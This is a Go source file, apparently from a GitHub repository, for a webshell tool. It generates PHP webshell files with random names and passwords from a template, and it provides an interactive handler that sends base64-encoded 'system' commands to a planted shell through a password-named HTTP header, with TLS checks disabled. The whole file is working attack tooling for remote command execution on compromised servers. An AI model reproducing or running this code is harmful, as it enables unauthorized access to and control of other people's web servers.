-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
156 lines (134 loc) · 3.2 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
package main
import (
"bufio"
"crypto/tls"
"encoding/base64"
"flag"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"net/url"
"os"
"strings"
"text/template"
"gopkg.in/yaml.v3"
)
type CustomCommands map[string]string
type Rand struct {
RandVar string
RandPass string
}
func RandString(n int) string {
const alphanum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var bytes = make([]byte, n)
for i := range bytes {
bytes[i] = alphanum[rand.Intn(len(alphanum))]
}
return string(bytes)
}
func GetHostname(address string) string {
url, err := url.Parse(address)
if err != nil {
log.Fatalf("Invalid url %v", err)
}
hostname := strings.TrimPrefix(url.Hostname(), "www.")
return hostname
}
func Requester(url string, cmd string, password string) string {
var bases = []rune{'T', 'w', 'F', 'v', 'Z', 'n'}
payload := fmt.Sprintf("%s%s", string(bases[rand.Intn(len(bases))]),
base64.StdEncoding.EncodeToString([]byte(fmt.Sprintf("system~%s", cmd))))
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", url, nil)
req.Header = http.Header{
"Host": {GetHostname(url)},
"User-Agent": {""},
password: {payload},
}
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
bodyText, err := io.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
if string(bodyText[:5]) == "Array" {
bodyText = bodyText[5:]
}
return string(bodyText)
}
func readCustomCommands(filename string) (CustomCommands, error) {
var commands CustomCommands
yamlFile, err := os.ReadFile(filename)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, &commands)
if err != nil {
return nil, err
}
return commands, nil
}
func checkCustom(cmd string, customCommands CustomCommands) string {
if cmd == ":\n" || cmd == ":exit\n" {
os.Exit(0)
} else if cmd == ":cls\n" || cmd == ":clear\n" {
fmt.Printf("\x1bc")
return ""
} else if custom, ok := customCommands[cmd]; ok {
return custom
}
return cmd
}
func main() {
t := flag.String("t", "templates/ninja.webshell", "a string")
handler := flag.String("handler", "", "a string")
gen := flag.Bool("gen", false, "a boolean")
raw := flag.Bool("raw", false, "a boolean")
flag.Parse()
customCommands, err := readCustomCommands("custom_commands.yaml")
if err != nil {
fmt.Println("Error loading custom commands:", err)
os.Exit(1)
}
if *handler != "" {
var password string
fmt.Printf("🔑 Password > ")
fmt.Scan(&password)
for {
fmt.Printf("🥷 > ")
in := bufio.NewReader(os.Stdin)
cmd, _ := in.ReadString('\n')
cmd = checkCustom(cmd, customCommands)
if cmd != "" {
resp := Requester(*handler, cmd, password)
println(resp)
}
}
}
if *gen {
template, err := template.ParseFiles(*t)
if err != nil {
log.Fatalln(err)
}
data := Rand{RandVar: RandString(10), RandPass: RandString(20)}
if *raw {
template.Execute(os.Stdout, data)
os.Exit(0)
}
fmt.Printf("🔑 Password > %s \n", data.RandPass)
f, err := os.Create(fmt.Sprintf("%s.php", data.RandVar))
if err != nil {
log.Fatal(err)
}
defer f.Close()
template.Execute(f, data)
}
}